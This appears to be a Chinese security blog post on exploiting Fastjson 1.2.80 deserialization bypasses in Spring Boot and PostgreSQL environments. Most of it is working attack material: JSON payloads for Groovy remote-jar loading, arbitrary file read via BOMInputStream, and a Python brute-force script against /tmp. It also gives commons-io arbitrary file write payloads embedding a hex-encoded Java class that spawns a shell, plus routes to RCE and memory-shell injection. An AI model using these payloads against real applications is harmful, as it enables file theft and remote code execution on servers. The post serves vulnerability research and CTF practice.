Fastjson 1.2.80 读写文件 & SpringBoot利用 & Postgresql利用
2026-01-18 16:53:51

Fastjson 1.2.80 读写文件 & SpringBoot利用 & Postgresql利用

bypass过程参考 -> https://www.cnblogs.com/LINGX5/p/18802834以及fastjson 1.2.68 bypass

直接从Groovy利用链的EXP理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}

{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type": "org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":["http://127.0.0.1:8000/attack-1.jar"]
},
"gcl":null,
"destDir": "/tmp"
}

org.codehaus.groovy.control.CompilationFailedException类中unit的参数类型-ProcessingUnit通过putDeserializer,形成了ProcessingUnit –> JavaBeanDeserializer的对应关系

导致在checkAutoType在检测ProcessingUnit的时候通过校验

image

之后的反序列器也是JavaBeanDeserializerProcessingUnit作为期望类传入,想要利用的类只需要是ProcessingUnit的子类即可 (fastjson 1.2.68 bypass)

Spring环境 / Jackson依赖 利用

主要参考 - https://github.com/luelueking/CVE-2022-25845-In-Spring

SpringJackson的依赖,配合fastjson 1.2.80 bypass利用putDeserializerjava.io.InputStrean添加到deserializers中,之后的利用都需要配合java.io.InputStream

1
2
3
4
5
6
7
8
9
10
{
"a": "{ \"@type\": \"java.lang.Exception\", \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\", \"p\": { } }",
"b": {
"$ref": "$.a.a"
},
"c": "{ \"@type\": \"com.fasterxml.jackson.core.JsonParser\", \"@type\": \"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\", \"in\": {}}",
"d": {
"$ref": "$.c.c"
}
}

image

下面这样写也行,本质都一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
{
"@type": "java.lang.Exception",
"@type": "com.fasterxml.jackson.core.exc.InputCoercionException",
"p":{
}
},
{
"@type": "com.fasterxml.jackson.core.JsonParser",
"@type": "com.fasterxml.jackson.core.json.UTF8StreamJsonParser",
"in":{
}
}
}

BOMInputStream 读文件

需要commons.io依赖

exp两种写法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
{
"a": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///tmp/1.txt"
},
"charsetName": "UTF-8",
"bufferSize": "1024"
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": [97]
}
]
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": [1]
}
]
},
"b": {"$ref":"$.a.delegate"}
}

以及

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
"x": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///tmp/1.txt"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"charsetName": "UTF-8",
"bytes": [97]
}]
},
"address": {
"$ref": "$.x.BOM"
}
}

利用file协议读取指定文件/tmp/1.txt的内容,循环每一个字符看ascii码是否匹配,比如这里/tmp/1.txt中的内容为aa对应ascii97,匹配成功会返回字符的Base64编码,否则返回null

image

究其原理

BOMInputStream构造函数,将InputStream类型参数、输入流delegate作为参数被super方法调用

image

最终调用至java.io.FilterInputStream#FilterInputStream,将输入流delegate赋值给this.in

image

随后利用fastjson特性$.x.BOM调用x对象的getBOM方法,其中find()方法就是来匹配我们传入的ascii码和目标文件内容的

image

image

CTF里可以直接写脚本爆破flag

tomcat-docbase

Spring Boot应用会在/tmp目录下生成tomcat-docbase.193756312...<随机数字>文件夹,本质上相当于tomcat的根目录,因此加载类时会尝试加载/tmp/tomcat-docbase.193756312.../WEB-INF/classes目录下的类

可以通过写入一个恶意classes实现RCE

/tmp目录爆破

利用脚本爆破/tmp目录来拿tomcat-docbase的完整文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import json

url = 'http://localhost:8078/json'

def getdata(bytes):
data = '''{
"x": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///tmp/"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"charsetName": "UTF-8",
"bytes": ['''+ bytes +''']
}]
},
"address": {
"$ref": "$.x.BOM"
}
}'''
return data
header = {'Content-Type':'application/json'}
cookie = {}
flag = ''
bytes = ''
for ii in range(1,1000):
for i in range(0, 257):
if i == 256:
f = open("./1.txt","w")
f.write(flag)
print(flag.decode('UTF-8'))
exit()
byte = bytes+str(i)+','
r = requests.post(url=url,data=getdata(byte),headers=header,cookies=cookie)
print(r.text)
if "bytes" in r.text:
bytes = bytes + str(i)+','
flag = flag + chr(i)
break

image

commons-io 写文件

公开POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
{
"a": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.AutoCloseInputStream",
"in": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"@type": "org.apache.commons.io.input.CharSequenceInputStream",
"cs": {
"@type": "java.lang.String"
"${shellcode}",
"charset": "iso-8859-1",
"bufferSize": ${size}
},
"branch": {
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type": "org.apache.commons.io.output.LockableFileWriter",
"file": "${file2write}",
"charset": "iso-8859-1",
"append": true
},
"charset": "iso-8859-1",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch": true
}
},
"b": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.XmlStreamReader",
"inputStream": {
"$ref": "$.a"
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "iso-8859-1"
},
"charsetName": "iso-8859-1",
"bufferSize": 1024
},
"c": {}
}

fastjson 1.2.68写文件一样,最关键的类都是org.apache.commons.io.input.XmlStreamReader

跟进doHttpStream方法

image

跟进getBOMCharsetName

image

调用至getBOM方法

上面分析BOMInputStream可知getBOM会调用in.read()

调用org.apache.commons.io.input.TeeInputStream#read(),间接调用branch.write,实现写的操作

image

java-chainsuname4师傅已经集成了此链,与公开POC不一样的点的是java-chains用的是fastjson的特性主动调用getBOM方法,而不是通过org.apache.commons.io.input.XmlStreamReader触发

image

然后触发命令执行/内存马注入即可

1
2
3
4
{
"@type":"java.lang.Exception",
"@type":"org.example.attack"
}

测试写文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
{
"@type":"java.io.InputStream",
"@type":"org.apache.commons.io.input.BOMInputStream",
"delegate":{
"@type": "org.apache.commons.io.input.AutoCloseInputStream",
"in": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String"
"\xca\xfe\xba\xbe\x00\x00\x00\x32\x00\x41\x01\x00\x1a\x6f\x72\x67\x2f\x65\x78\x61\x6d\x70\x6c\x65\x2f\x41\x74\x74\x61\x63\x6b\x42\x79\x4b\x61\x67\x74\x79\x31\x07\x00\x01\x01\x00\x10\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x07\x00\x03\x01\x00\x04\x62\x61\x73\x65\x01\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x01\x00\x03\x73\x65\x70\x01\x00\x03\x63\x6d\x64\x01\x00\x06\x3c\x69\x6e\x69\x74\x3e\x01\x00\x03\x28\x29\x56\x01\x00\x13\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x07\x00\x0b\x0c\x00\x09\x00\x0a\x0a\x00\x04\x00\x0d\x01\x00\x07\x6f\x73\x2e\x6e\x61\x6d\x65\x08\x00\x0f\x01\x00\x10\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x79\x73\x74\x65\x6d\x07\x00\x11\x01\x00\x0b\x67\x65\x74\x50\x72\x6f\x70\x65\x72\x74\x79\x01\x00\x26\x28\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x29\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x0c\x00\x13\x00\x14\x0a\x00\x12\x00\x15\x01\x00\x10\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x07\x00\x17\x01\x00\x0b\x74\x6f\x4c\x6f\x77\x65\x72\x43\x61\x73\x65\x01\x00\x14\x28\x29\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x0c\x00\x19\x00\x1a\x0a\x00\x18\x00\x1b\x01\x00\x03\x77\x69\x6e\x08\x00\x1d\x01\x00\x08\x63\x6f\x6e\x74\x61\x69\x6e\x73\x01\x00\x1b\x28\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x68\x61\x72\x53\x65\x71\x75\x65\x6e\x63\x65\x3b\x29\x5a\x0c\x00\x1f\x00\x20\x0a\x00\x18\x00\x21\x01\x00\x07\x63\x6d\x64\x2e\x65\x78\x65\x08\x00\x23\x0c\x00\x05\x00\x06\x09\x00\x02\x00\x25\x01\x00\x02\x2f\x63\x08\x00\x27\x0c\x00\x07\x00\x06\x09\x00\x02\x00\x29\x01\x00\x07\x2f\x62\x69\x6e\x2f\x73\x68\x08\x00\x2b\x01\x00\x02\x2d\x63\x08\x00\x2d\x0c\x00\x08\x00\x06\x09\x00\x02\x00\x2f\x01\x00\x18\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x50\x72\x6f\x63\x65\x73\x73\x42\x75\x69\x6c\x64\x65\x72\x07\x00\x31\x01\x00\x16\x28\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x29\x56\x0c\x00\x09\x00\x33\x0a\x00\x32\x00\x34\x01\x00\x05\x73\x74\x61\x72\x74\x01\x00\x15\x28\x29\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x50\x72\x6f\x63\x65\x73\x73\x3b\x0c\x00\x36\x00\x37\x0a\x00\x32\x00\x38\x01\x00\x08\x3c\x63\x6c\x69\x6e\x69\x74\x3e\x01\x00\x12\x6f\x70\x65\x6e\x20\x2d\x61\x20\x43\x61\x6c\x63\x75\x6c\x61\x74\x6f\x72\x08\x00\x3b\x0a\x00\x02\x00\x0d\x01\x00\x04\x43\x6f\x64\x65\x01\x00\x0d\x53\x74\x61\x63\x6b\x4d\x61\x70\x54\x61\x62\x6c\x65\x0a\x00\x0c\x00\x0d\x00\x21\x00\x02\x00\x0c\x00\x00\x00\x03\x00\x09\x00\x05\x00\x06\x00\x00\x00\x09\x00\x07\x00\x06\x00\x00\x00\x09\x00\x08\x00\x06\x00\x00\x00\x02\x00\x01\x00\x09\x00\x0a\x00\x01\x00\x3e\x00\x00\x00\x84\x00\x04\x00\x02\x00\x00\x00\x53\x2a\xb7\x00\x40\x12\x10\xb8\x00\x16\xb6\x00\x1c\x12\x1e\xb6\x00\x22\x99\x00\x10\x12\x24\xb3\x00\x26\x12\x28\xb3\x00\x2a\xa7\x00\x0d\x12\x2c\xb3\x00\x26\x12\x2e\xb3\x00\x2a\x06\xbd\x00\x18\x59\x03\xb2\x00\x26\x53\x59\x04\xb2\x00\x2a\x53\x59\x05\xb2\x00\x30\x53\x4c\xbb\x00\x32\x59\x2b\xb7\x00\x35\xb6\x00\x39\x57\xa7\x00\x04\x4c\xb1\x00\x01\x00\x04\x00\x4e\x00\x51\x00\x0c\x00\x01\x00\x3f\x00\x00\x00\x17\x00\x04\xff\x00\x21\x00\x01\x07\x00\x02\x00\x00\x09\x65\x07\x00\x0c\xfc\x00\x00\x07\x00\x04\x00\x08\x00\x3a\x00\x0a\x00\x01\x00\x3e\x00\x00\x00\x1a\x00\x02\x00\x00\x00\x00\x00\x0e\x12\x3c\xb3\x00\x30\xbb\x00\x02\x59\xb7\x00\x3d\x57\xb1\x00\x00\x00\x00\x00\x00",
},
"encoder": "iso-8859-1",
"charset": "iso-8859-1",
"charsetName": "iso-8859-1",
"bufferSize": 1
},
"branch": {
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type": "org.apache.commons.io.output.LockableFileWriter",
"file": "/tmp/test.txt",
"charset": "iso-8859-1",
"encoding": "iso-8859-1",
"lockDir": "/tmp/",
"append": false
},
"charset":"iso-8859-1",
"charsetName":"iso-8859-1",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch": true
}
},
"include":true,
"boms":[{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "iso-8859-1",
"bytes":[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
}],
"x":{"$ref":"$.bOM"}
}

image

然后就是写ascii jar,解决utf-8的问题,但是我感觉实战利用意义不大,放个链接

http://www.bmth666.cn/2025/12/30/Fastjson-commons-io%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%86%99/index.html

postgresql 利用

java-chains最新版中uname4师傅新增了fastjson 1.2.80 postgresql利用链

是很经典的利用ClassPathXmlApplicationContext加载恶意xml文件实现RCE,前提是出网

image

若目标不出网,就利用file协议,先用io链写文件,再file:///tmp/evil.xml加载

image

直接打回显马/内存马即可

image

image


https://mp.weixin.qq.com/s/n8RW0NIllcQ0sn3nI9uceA

上一页
2026-01-18 16:53:51
下一页